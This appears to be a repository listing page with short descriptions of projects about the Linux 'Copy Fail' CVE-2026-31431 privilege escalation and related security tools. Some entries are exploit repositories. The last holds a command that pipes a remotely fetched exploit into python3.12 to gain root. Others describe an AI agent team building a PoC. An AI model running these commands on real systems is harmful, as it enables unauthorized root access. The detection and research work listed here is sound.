binviz

binviz Binary visualiser & triage tool: linked interactive views entropy, histograms, image/dot-plot surfaces, control-flow graphs over a single shared address-space model. pipx install binviz && binviz serve What it does Open a file and every view is looking at the same address space. Select a...

CVE-2026-31431-Checker-Mitigator

CVE-2026-31431 Checker & Mitigator A simple, safe vulnerability scanner and mitigation tool for CVE-2026-31431 aka "Copy Fail", a local privilege escalation vulnerability in the Linux kernel's AFALG cryptographic interface. Note - It is fully vibe coded Script About the Vulnerability CVE :...

CVE-2026-31431

🔐 CVE-2026-31431 - Kernel Exploitation Research Framework Modular framework for studying a Linux privilege escalation LPE vulnerability based on AFALG + Page Cache Injection techniques. 🎯 Objective This project is designed for: Research of Linux kernel vulnerabilities Teaching real exploitation...

CVE-2026-31431

🚨 CVE-2026-31431: Copy Fail A critical 9-year-old flaw in the Linux kernel that allows obtaining root access in seconds 📋 Executive Summary Attribute| Details ---|--- CVE| CVE-2026-31431 Nickname| Copy Fail Type| Local Privilege Escalation LPE CVSS| 7.8 High Discovered by| Theori Xint Code...

copy-fail-CVE-2026-31431-shell

CVE-2026-31431 - copyfail shell Local privilege escalation via AFALG socket + splice page-cache overwrite. Overwrites a read-only SUID binary /usr/bin/su with a minimal ELF that calls setuid0 + execve"/bin/sh". No race condition, no per-distro offsets, single shot. $ ./copyfailexp.sh Kernel:...

copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail Linux kernel local privilege escalation via AFALG + splice page-cache overwrite For authorized security research, penetration testing, and educational purposes only. Do not use against systems you do not own or have explicit written permission to test. Technical Writeup...

CVE-2026-31431-PoC

CVE-2026-31431 PoC Local Privilege Escalation in the Linux Kernel via algifaead Page Cache Write "Copy Fail" Author: Van Glenndon Enad Original Discovery: Theori / Xint Code Research Team Taeyang Lee Published: April 29, 2026 Severity: High CVSS v3.1 Score: 7.8 CVSS v3.1 Vector:...

CVE-2026-31431

CVE-2026-31431 CopyFail standard binary Get all new CVE alert on https://exploitroom.com mail :: /Desktop/CVE-2026 » file exploit: ELF 64-bit LSB executable, x86-64, version 1 GNU/Linux, statically linked, BuildIDsha1=9454dbdde0ac2d1a8981c06db89f24a4753ec3b7, for GNU/Linux 3.2.0, not stripped...

DEBIAN-CVE-2026-111129

Open Asset Import Library assimp through 6.0.5 contains a NULL pointer dereference vulnerability in the Ogre3D binary mesh importer's OgreBinarySerializer::ReadAnimationKeyFrames handling of unvalidated animation track targets. Attackers can supply a crafted .mesh file with a morph animation trac...

gmh5225

I'm developing NeverC and NeverD — two LLVM-based tools for security research. NeverC is a C23 compiler; NeverD is a binary analysis and decompilation engine. Compile on the way in, lift and decompile on the way out. Both are still in development. NeverC An AI-friendly C23 compiler for security...

ghidra_svr_bridge

binja-ghidra A Binary Ninja plugin that connects to a Ghidra Server repository and imports its analysis — symbols, function names, and comments — directly into an open Binary Ninja binary view. What it does Ghidra and Binary Ninja each have strengths. This plugin lets you use both on the same...

CVE-2026-31431-exploit

CVE-2026-31431 WARNING These Linux LPE exploit implementations are runtime-destructive. They overwrite the live page-cache view of privileged targets such as: su PAM configuration files any file passed into patch mode This is usually not a normal persistent on-disk edit, but it does change runtim...

CVE-2026-20841_notepad_analysis

Purpose Investigate the Microsoft Notepad RCE vulnerability CVE-2026-20841, perform binary analysis, and create a PoC exploit for learning purposes. Role Assignment Launch an Agent Team to execute the role assignment I have in mind. Binary Hunter: Collects binaries before and after the patch is...

CVE-2026-31431

CVE-2026-31431 — "Copy Fail" Local Privilege Escalation in the Linux Kernel crypto algifaead subsystem. Overview CVE-2026-31431, dubbed "Copy Fail", is a logic bug in the Linux kernel's authencesn cryptographic template algifaead. It allows an unprivileged local user to perform a controlled 4-byt...

copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail 732 bytes. Any distro. Root. A straight-line logic flaw in the Linux kernel's authencesn cryptographic template enables an unprivileged local user to perform a precise, controlled 4-byte write into the page cache of any readable file — including setuid binaries. No race...

copy-fail-mitigate-no-reboot

copy-fail-mitigate Minimal no-reboot mitigation helper for Copy Fail / CVE-2026-31431. This script disables the vulnerable algifaead module path and attempts to unload the module immediately. It also performs a best-effort page-cache eviction for /usr/bin/su. This is a mitigation, not a kernel fi...

CVE-2026-31431-Copy-Fail-Detection-Toolkit

CVE-2026-31431 Copy Fail Detection Toolkit Detection and analysis toolkit for CVE-2026-31431 "Copy Fail" - a critical Linux Local Privilege Escalation vulnerability affecting distributions from 2017 onwards. Vulnerability Overview CVE-2026-31431 exploits a logic flaw in the Linux kernel's algifae...

CVE-2021-4034

CVE-2021-4034 This is a POC for the vulnerability found in polkit's pkexec binary which is used to run programs as another users. For in-depth study: https://access.redhat.com/security/vulnerabilities/RHSB-2022-001 Run gcc poc.c -o poc && ./poc...

CVE-2026-31431-cleaned

copyFail.py — CVE Exploit Analysis Report Summary copyFail.py is a proof-of-concept PoC exploit that demonstrates a local privilege escalation vulnerability in the Linux kernel. By abusing the splice system call in combination with crafted socket options, the exploit gains the ability to corrupt...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...